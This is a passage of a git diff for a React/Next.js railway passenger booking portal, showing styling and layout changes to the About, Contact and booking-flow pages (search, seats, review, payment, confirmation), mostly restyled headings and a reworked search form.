{ + opacity: 0; + transform: translateX(-20px); + } + to { + opacity: 1; + transform: translateX(0); + } + } + + .timeline-dot { + position: absolute; + left: -4px; + top: 8px; + width: 24px; + height: 24px; + background: white; + border-radius: 50%; + border: 3px solid rgb(20, 113, 76); + box-shadow: 0 0 0 2px rgb(20, 113, 76), 0 4px 12px rgba(20, 113, 76, 0.3); + transition: all 0.3s ease; + } + + .timeline-item:hover .timeline-dot { + box-shadow: 0 0 0 2px rgb(20, 113, 76), 0 8px 24px rgba(20, 113, 76, 0.5); + transform: scale(1.15); + } + + .dark .timeline-dot { + background: #1f2937; + } + + .timeline-content { + background: white; + border-radius: 12px; + padding: 20px 24px; + border: 2px solid transparent; + border-left: 4px solid rgb(20, 113, 76); + box-shadow: 0 2px 8px rgba(0, 0, 0, 0.08); + transition: all 0.3s ease; + flex: 1; + } + + .timeline-item:hover .timeline-content { + border-color: rgb(20, 113, 76); + box-shadow: 0 8px 24px rgba(20, 113, 76, 0.15); + transform: translateY(-4px); + } + + .dark .timeline-content { + background: #1f2937; + border-left-color: rgb(20, 113, 76); + } + + .timeline-year { + font-weight: 700; + color: rgb(20, 113, 76); + font-size: 1.125rem; + display: flex; + align-items: center; + gap: 8px; + } + + .timeline-year::before { + content: '📅'; + } + + .timeline-event { + color: #6b7280; + margin-top: 8px; + font-size: 0.95rem; + font-weight: 500; + } + + .dark .timeline-event { + color: #d1d5db; + } + + .cta-blue { + background-color: rgb(20, 113, 76); + color: white; + padding: 60px 20px; + text-align: center; + } + + .cta-blue h2 { + font-size: 2rem; + font-weight: 700; + margin-bottom: 16px; + } + + .cta-blue p { + font-size: 1.125rem; + margin-bottom: 32px; + max-width: 42rem; + margin-left: auto; + margin-right: auto; + } + + .button-white { + display: inline-block; + padding: 16px 32px; + background-color: white; + color: rgb(20, 113, 76); + font-weight: 700; + border-radius: 12px; + text-decoration: none; + transition: all 0.2s; + } + + .button-white:hover { + transform: scale(1.05); + } + + @media (max-width: 768px) { + .values-grid { + grid-template-columns: 1fr; + } + + .about-hero h1 { + font-size: 1.875rem; + } + } +`; + +export default function About() { + const [lang, setLang] = useState('en'); + const { getLang } = useLanguage(); + const t = (key: string) => getTranslation(lang, key); + + useEffect(() => { + setLang(getLang()); + const handleLanguageChange = (e: any) => setLang(e.detail); + window.addEventListener('languageChange', handleLanguageChange); + return () => window.removeEventListener('languageChange', handleLanguageChange); + }, [getLang]); + + const values = [ + { icon: Target, title: t('about.mission'), desc: t('about.missionText') }, + { icon: Globe, title: t('about.network'), desc: t('about.networkText') }, + { icon: Users, title: t('about.comfort'), desc: t('about.comfortText') }, + { icon: Leaf, title: t('about.eco'), desc: t('about.ecoText') }, + ]; + + return ( + <> + +
+
+

{t('about.title')}

+

{t('about.subtitle')}

+
+ +
+ {values.map((value, idx) => { + const Icon = value.icon; + return ( +
+
+ +
+

{value.title}

+

{value.desc}

+
+ ); + })} +
+ +
+
+
+
21
+
Railway Stations
+
+
+
360+
+
Comfortable Seats
+
+
+
3
+
Seat Classes
+
+
+
24/7
+
Customer Support
+
+
+
+ +
+

Our Journey

+
+ {[ + { year: '2020', event: 'EDR Platform Launched' }, + { year: '2021', event: 'Reached 10,000+ Passengers' }, + { year: '2022', event: 'Introduced Multi-Currency Support' }, + { year: '2023', event: 'Launched Loyalty Program' }, + { year: '2024', event: 'Age-Based Pricing & Verifayda Integration' }, + ].map((item, idx) => ( +
+
+
+
{item.year}
+
{item.event}
+
+
+ ))} +
+
+ +
+

Join Our Community

+

Be part of the modern railway revolution in East Africa.

+ Book Your First Journey +
+
+ + ); +} diff --git a/apps/edr-passenger-web/portal/src/app/booking/auth-check/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/auth-check/page.tsx index 44a24486f..3f48ec2dd 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/auth-check/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/auth-check/page.tsx @@ -33,7 +33,7 @@ export default function AuthCheckPage() {
{/* Header */}
-

Continue Your Booking

+

Continue your booking

Sign in to access saved profiles or continue as a guest

@@ -50,7 +50,7 @@ export default function AuthCheckPage() {
-

Sign In

+

Sign in

Access your saved passenger profiles and booking history for faster checkout

@@ -78,7 +78,7 @@ export default function AuthCheckPage() {
@@ -92,7 +92,7 @@ export default function AuthCheckPage() {
-

Continue as Guest

+

Continue as guest

Book without an account. You can create one after completing your booking

@@ -120,7 +120,7 @@ export default function AuthCheckPage() {
diff --git a/apps/edr-passenger-web/portal/src/app/booking/confirmation/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/confirmation/page.tsx index 69ce77dd5..8addae4de 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/confirmation/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/confirmation/page.tsx @@ -82,7 +82,7 @@ export default function ConfirmationPage() { return (
-
+
{/* Success Header */}
@@ -90,14 +90,14 @@ export default function ConfirmationPage() {
-

Booking Confirmed!

+

Booking confirmed!

Your train tickets are ready

{/* PNR Card */}
-

Booking Reference (PNR)

+

Booking reference (PNR)

{pnr}
-

Trip Details

+

Trip details

-

Train Number

+

Train number

{selectedSchedule?.trainNumber}

@@ -164,7 +164,7 @@ export default function ConfirmationPage() { {/* Tickets */}
-

Your Tickets

+

Your tickets

{passengers.map((passenger, index) => { const ticketNumber = `TKT-${bookingId?.slice(0, 8).toUpperCase()}-${(index + 1).toString().padStart(2, '0')}`; @@ -266,7 +266,7 @@ export default function ConfirmationPage() { onClick={handleNewBooking} className="btn-primary w-full py-4 text-lg font-semibold" > - Book Another Trip + Book another trip {/* Info Notices */} diff --git a/apps/edr-passenger-web/portal/src/app/booking/passengers/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/passengers/page.tsx index a248b7c15..79649c4b0 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/passengers/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/passengers/page.tsx @@ -343,8 +343,8 @@ export default function PassengersPage() { return (
-
-

Passenger Details

+
+

Passenger details

{fields.map((field, index) => { @@ -402,7 +402,7 @@ export default function PassengersPage() { onClick={() => toggleForm(index)} className="btn-primary" > - Enter Details Manually + Enter details manually
) : ( @@ -656,7 +656,7 @@ export default function PassengersPage() { Back
diff --git a/apps/edr-passenger-web/portal/src/app/booking/payment/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/payment/page.tsx index fa3512a3c..34f1fada1 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/payment/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/payment/page.tsx @@ -160,10 +160,10 @@ export default function PaymentPage() { return (
-
-

Complete Payment

+
+

Complete payment

- Booking Reference: {pnr} + Booking reference: {pnr}

{/* Payment Processing Overlay */} @@ -173,14 +173,14 @@ export default function PaymentPage() { {paymentMutation.isSuccess ? ( <> -

Payment Successful!

+

Payment successful!

Generating your tickets...

) : ( <> -

Processing Payment

+

Processing payment

Please wait while we process your payment...

)} @@ -190,7 +190,7 @@ export default function PaymentPage() { {/* Order Summary */}
-

Order Summary

+

Order summary

Route @@ -212,7 +212,7 @@ export default function PaymentPage() {
- Total Amount + Total amount ETB {(totalAmount / 100).toFixed(2)} @@ -223,7 +223,7 @@ export default function PaymentPage() { {/* Payment Methods */}
-

Select Payment Method

+

Select payment method

{paymentMethods.map((method) => { const Icon = method.icon; @@ -285,7 +285,7 @@ export default function PaymentPage() { disabled={isProcessing} className="btn-secondary w-full py-2" > - Back to Review + Back to review
diff --git a/apps/edr-passenger-web/portal/src/app/booking/results/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/results/page.tsx index 389eb2074..c8161bb34 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/results/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/results/page.tsx @@ -138,12 +138,12 @@ export default function ResultsPage() {
-

No Trains Found

+

No trains found

- We couldn't find any trains matching your search criteria. Try adjusting your dates or route. + We couldn't find any trains matching your search criteria.
Try adjusting your dates or route.

@@ -153,18 +153,18 @@ export default function ResultsPage() { } return ( -
+
-
+
-

Available Trains

+

Available trains

@@ -202,7 +202,7 @@ export default function ResultsPage() {
-
+
@@ -267,7 +267,7 @@ export default function ResultsPage() { onClick={() => toggleExpanded(scheduleId)} className="btn-secondary w-full flex items-center justify-center gap-2" > - View Classes + Select class {isExpanded ? ( ) : ( @@ -295,9 +295,9 @@ export default function ResultsPage() { disabled={!isAvailable} className={`relative p-4 rounded-lg border-2 text-left transition-all ${ isSelected - ? 'border-primary bg-primary-50 dark:bg-primary-900/20 shadow-md' + ? 'border-primary bg-blue-50 dark:bg-blue-900/20 shadow-md' : isAvailable - ? 'border-gray-200 dark:border-gray-700 hover:border-primary-300 hover:shadow-sm' + ? 'border-gray-200 dark:border-gray-700 hover:border-blue-300 hover:shadow-sm' : 'border-gray-100 dark:border-gray-800 bg-gray-50 dark:bg-gray-800 opacity-60 cursor-not-allowed' }`} > diff --git a/apps/edr-passenger-web/portal/src/app/booking/review/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/review/page.tsx index eafc5f3be..6f9c2a265 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/review/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/review/page.tsx @@ -328,8 +328,8 @@ export default function ReviewPage() { return (
-
-

Review Your Booking

+
+

Review your booking

{seatHold && (
@@ -341,7 +341,7 @@ export default function ReviewPage() {
-

Trip Details

+

Trip details

Train @@ -391,10 +391,10 @@ export default function ReviewPage() {
-

Fare Breakdown

+

Fare breakdown

- Base Fare + Base fare ETB {(baseFare / 100).toFixed(2)}
@@ -413,7 +413,7 @@ export default function ReviewPage() { disabled={createBookingMutation.isPending} className="btn-primary flex-1" > - {createBookingMutation.isPending ? 'Creating Booking...' : `Confirm ${isAuthenticated ? '' : '& Pay'}`} + {createBookingMutation.isPending ? 'Creating booking...' : `Confirm ${isAuthenticated ? '' : 'and pay'}`}
diff --git a/apps/edr-passenger-web/portal/src/app/booking/search/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/search/page.tsx index 4617d9dd1..fa48c7610 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/search/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/search/page.tsx @@ -9,8 +9,8 @@ import { useAuthStore } from '@/lib/auth-store'; import { apiClient } from '@/lib/api-client'; import { useBookingStore } from '@/lib/booking-store'; import { Station } from '@/types'; -import { Train, MapPin, Calendar, ArrowRight, ArrowLeftRight, Plus, Minus, Search } from 'lucide-react'; -import { useEffect } from 'react'; +import { Train, MapPin, ArrowRight, Plus, Minus, Search, Users, ChevronDown } from 'lucide-react'; +import { useEffect, useState } from 'react'; import ModernDatePicker from '@/components/ModernDatePicker'; const searchSchema = z.object({ @@ -32,6 +32,7 @@ export default function SearchPage() { const searchParams = useSearchParams(); const setSearchCriteria = useBookingStore((s) => s.setSearchCriteria); const { user, isAuthenticated } = useAuthStore(); + const [isPassengerOpen, setIsPassengerOpen] = useState(false); const { data: stations, isLoading, error } = useQuery({ queryKey: ['stations'], @@ -51,11 +52,9 @@ export default function SearchPage() { }, }); - // Set user's nationality after component mounts and user data is available useEffect(() => { if (isAuthenticated && user?.nationality) { const normalized = user.nationality.toUpperCase().trim(); - console.log('User nationality from store:', user.nationality, 'Normalized:', normalized); if (normalized.includes('DJIBOUTIAN') || normalized === 'DJIBOUTIAN') { setValue('nationality', 'DJIBOUTIAN'); } else if (normalized.includes('ETHIOPIAN') || normalized === 'ETHIOPIAN') { @@ -66,7 +65,6 @@ export default function SearchPage() { } }, [isAuthenticated, user?.nationality, setValue]); - // Restore previous search values from URL params useEffect(() => { const origin = searchParams.get('origin'); const destination = searchParams.get('destination'); @@ -84,19 +82,9 @@ export default function SearchPage() { }, [searchParams, setValue]); const originId = watch('originStationId'); - const destinationId = watch('destinationStationId'); const adultCount = watch('adultCount'); const childCount = watch('childCount'); - const swapStations = () => { - if (originId && destinationId) { - const tempOrigin = originId; - const tempDestination = destinationId; - setValue('originStationId', tempDestination); - setValue('destinationStationId', tempOrigin); - } - }; - const onSubmit = (data: SearchForm) => { setSearchCriteria(data); const params = new URLSearchParams({ @@ -134,11 +122,13 @@ export default function SearchPage() { { from: 'Diredawa', to: 'Nagad', duration: '4h' }, ]; + + return (
{/* Search Section */}
-
+
{/* Search Card */}
{/* Header inside card */} @@ -161,17 +151,19 @@ export default function SearchPage() { )}
-
-
- + {/* First Row: From, To, Date */} +
+ {/* From */} +
+
- + - + {stations?.map((s) => ( ))} @@ -210,11 +194,10 @@ export default function SearchPage() {

{errors.destinationStationId.message}

)}
-
-
-
- + {/* Date */} +
+ { @@ -224,99 +207,142 @@ export default function SearchPage() { setValue('departureDate', `${year}-${month}-${day}`); }} minDate={new Date()} - placeholder="Select departure date" + placeholder="Select date" /> {errors.departureDate && (

{errors.departureDate.message}

)}
+
+ {/* Second Row: Passengers, Nationality, Promo Code */} +
+ {/* Passengers Dropdown */} +
+ + + + {/* Passenger Dropdown Menu */} + {isPassengerOpen && ( + <> +
setIsPassengerOpen(false)} /> +
+ {/* Adults */} +
+
+
+
Adults
+
≥5 years
+
+
+ + {adultCount || 1} + +
+
+
+ + {/* Children */} +
+
+
+
Children
+
<5 years • First free
+
+
+ + {childCount || 0} + +
+
+
+
+ + )} +
+ + {/* Nationality */}
- -
-
-
-
Adults
-
≥5 years
-
-
- - {adultCount || 1} - -
-
-
-
-
Children
-
<5 years • First child free
-
-
- - {childCount || 0} - -
-
-
+ + +
+ + {/* Promo Code */} +
+ +
-
- - + {/* Third Row: Search Button */} +
+
- -
+ {/* Popular Routes */}

Popular Routes

@@ -330,7 +356,7 @@ export default function SearchPage() {
{route.from}
- +
{route.to}
@@ -341,29 +367,6 @@ export default function SearchPage() {
-
-
-
- -
-

Modern Fleet

-

Comfortable trains with modern amenities

-
-
-
- -
-

21 Stations

-

Connecting Ethiopia and Djibouti

-
-
-
- -
-

Easy Booking

-

Book tickets in just a few clicks

-
-
diff --git a/apps/edr-passenger-web/portal/src/app/booking/seats/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/seats/page.tsx index d59179c49..4a40e893d 100644 --- a/apps/edr-passenger-web/portal/src/app/booking/seats/page.tsx +++ b/apps/edr-passenger-web/portal/src/app/booking/seats/page.tsx @@ -176,12 +176,12 @@ export default function SeatsPage() {
-

Select Seats

+

Select seats

-

Select Coach

+

Select coach

{selectedSchedule?.selectedSeatClassName && (
Showing coaches for: {selectedSchedule.selectedSeatClassName.replace(/_/g, ' ')} @@ -211,7 +211,7 @@ export default function SeatsPage() {
-

Seat Map - {selectedCoachData?.name || selectedCoachData?.label || selectedCoachData?.coachNumber}

+

Seat map - {selectedCoachData?.name || selectedCoachData?.label || selectedCoachData?.coachNumber}

{isLoading ? (

Loading seats...

@@ -268,7 +268,7 @@ export default function SeatsPage() {
-

Selection Summary

+

Selection summary

Select {passengers.length} seat(s) for your passengers

@@ -296,14 +296,14 @@ export default function SeatsPage() { disabled={selectedSeats.length === 0} className="btn-primary w-full mb-2" > - Continue with Selected Seats + Continue with selected seats
diff --git a/apps/edr-passenger-web/portal/src/app/contact/page.tsx b/apps/edr-passenger-web/portal/src/app/contact/page.tsx new file mode 100644 index 000000000..f2c0f4296 --- /dev/null +++ b/apps/edr-passenger-web/portal/src/app/contact/page.tsx @@ -0,0 +1,375 @@ +'use client'; + +import { useEffect, useState } from 'react'; +import { getTranslation, Language, useLanguage } from '@/lib/i18n'; +import { Phone, Mail, MapPin, Send, Loader } from 'lucide-react'; + +const styles = ` + .contact-hero { + padding: 60px 20px; + background: linear-gradient(to bottom right, rgb(20, 113, 76), transparent); + text-align: center; + color: #111827; + } + + .dark .contact-hero { + color: #f3f4f6; + } + + .contact-hero h1 { + font-size: 2.5rem; + font-weight: 700; + margin-bottom: 16px; + color: #111827; + } + + .dark .contact-hero h1 { + color: #f3f4f6; + } + + .contact-hero p { + font-size: 1.125rem; + color: #6b7280; + } + + .dark .contact-hero p { + color: #9ca3af; + } + + .contact-grid { + max-width: 80rem; + margin: 0 auto; + display: grid; + grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); + gap: 24px; + padding: 60px 20px; + background-color: white; + } + + .dark .contact-grid { + background-color: #111827; + } + + .contact-card { + background: white; + border: 2px solid #f3f4f6; + border-radius: 18px; + padding: 24px; + cursor: pointer; + text-align: center; + transition: all 0.2s; + } + + .dark .contact-card { + background: #1f2937; + border-color: #374151; + } + + .contact-card:hover { + border-color: rgb(20, 113, 76); + box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1); + } + + .contact-icon { + width: 48px; + height: 48px; + background: rgb(20, 113, 76); + border-radius: 8px; + display: flex; + align-items: center; + justify-content: center; + margin: 0 auto 16px; + } + + .contact-card h3 { + font-weight: 700; + margin-bottom: 8px; + color: #111827; + } + + .dark .contact-card h3 { + color: #f3f4f6; + } + + .contact-card p { + font-size: 0.875rem; + color: #6b7280; + } + + .dark .contact-card p { + color: #9ca3af; + } + + .contact-card a { + color: #6b7280; + text-decoration: none; + } + + .contact-card a:hover { + color: rgb(20, 113, 76); + } + + .form-section { + padding: 60px 20px; + background-color: #f9fafb; + } + + .dark .form-section { + background-color: #0f1117; + } + + .form-container { + max-width: 42rem; + margin: 0 auto; + background: white; + border-radius: 18px; + padding: 32px; + border: 1px solid #e5e7eb; + } + + .dark .form-container { + background: #1f2937; + border-color: #374151; + } + + .form-container h2 { + font-size: 1.5rem; + font-weight: 700; + margin-bottom: 24px; + color: #111827; + } + + .dark .form-container h2 { + color: #f3f4f6; + } + + .form-group { + margin-bottom: 20px; + } + + .form-group label { + display: block; + font-size: 0.875rem; + font-weight: 500; + color: #374151; + margin-bottom: 8px; + } + + .dark .form-group label { + color: #d1d5db; + } + + .form-group input, + .form-group textarea { + width: 100%; + padding: 12px 16px; + border: 2px solid #e5e7eb; + border-radius: 12px; + font-size: 1rem; + font-family: inherit; + transition: all 0.2s; + box-sizing: border-box; + background: white; + color: #111827; + } + + .dark .form-group input, + .dark .form-group textarea { + background: #111827; + color: #f3f4f6; + border-color: #374151; + } + + .form-group input:focus, + .form-group textarea:focus { + outline: none; + border-color: rgb(20, 113, 76); + box-shadow: 0 0 0 3px rgba(20, 113, 76, 0.1); + } + + .form-submit { + width: 100%; + padding: 14px 20px; + background-color: rgb(20, 113, 76); + color: white; + border: none; + border-radius: 12px; + font-weight: 700; + cursor: pointer; + transition: all 0.2s; + display: flex; + align-items: center; + justify-content: center; + gap: 8px; + margin-top: 8px; + } + + .form-submit:hover { + background-color: rgb(16, 89, 60); + box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1); + } + + .form-submit:disabled { + opacity: 0.6; + cursor: not-allowed; + } + + .alert { + padding: 12px 16px; + border-radius: 8px; + margin-bottom: 16px; + font-size: 0.875rem; + } + + .alert-success { + background-color: #dbeafe; + color: #1e40af; + } + + .dark .alert-success { + background-color: rgba(20, 113, 76, 0.1); + color: #a7f3d0; + } + + .alert-error { + background-color: #fee2e2; + color: #991b1b; + } + + .dark .alert-error { + background-color: rgba(239, 68, 68, 0.1); + color: #fca5a5; + } +`; + +export default function Contact() { + const [lang, setLang] = useState('en'); + const [formData, setFormData] = useState({ name: '', email: '', subject: '', message: '' }); + const [loading, setLoading] = useState(false); + const [message, setMessage] = useState<{ type: 'success' | 'error'; text: string } | null>(null); + const { getLang } = useLanguage(); + const t = (key: string) => getTranslation(lang, key); + + useEffect(() => { + setLang(getLang()); + const handleLanguageChange = (e: any) => setLang(e.detail); + window.addEventListener('languageChange', handleLanguageChange); + return () => window.removeEventListener('languageChange', handleLanguageChange); + }, [getLang]); + + const handleSubmit = async (e: React.FormEvent) => { + e.preventDefault(); + setLoading(true); + + try { + await new Promise(resolve => setTimeout(resolve, 1500)); + setMessage({ type: 'success', text: t('contact.success') }); + setFormData({ name: '', email: '', subject: '', message: '' }); + } catch (error) { + setMessage({ type: 'error', text: t('contact.error') }); + } finally { + setLoading(false); + } + }; + + const contactInfo = [ + { icon: Phone, title: t('contact.phone'), value: '+251 911 000 000', link: 'tel:+251911000000' }, + { icon: Mail, title: t('contact.email'), value: 'support@edr.et', link: 'mailto:support@edr.et' }, + { icon: MapPin, title: t('contact.address'), value: 'Addis Ababa, Ethiopia', link: '#' }, + ]; + + return ( + <> + +
+
+

{t('contact.title')}

+

{t('contact.subtitle')}

+
+ +
+ {contactInfo.map((info, idx) => { + const Icon = info.icon; + return ( + +
+ +
+

{info.title}

+

{info.value}

+
+ ); + })} +
+ +
+
+

{t('contact.form')}

+ + {message && ( +
+ {message.text} +
+ )} + +
+
+ + setFormData({ ...formData, name: e.target.value })} + /> +
+ +
+ + setFormData({ ...formData, email: e.target.value })} + /> +
+ +
+ + setFormData({ ...formData, subject: e.target.value })} + /> +
+ +
+ +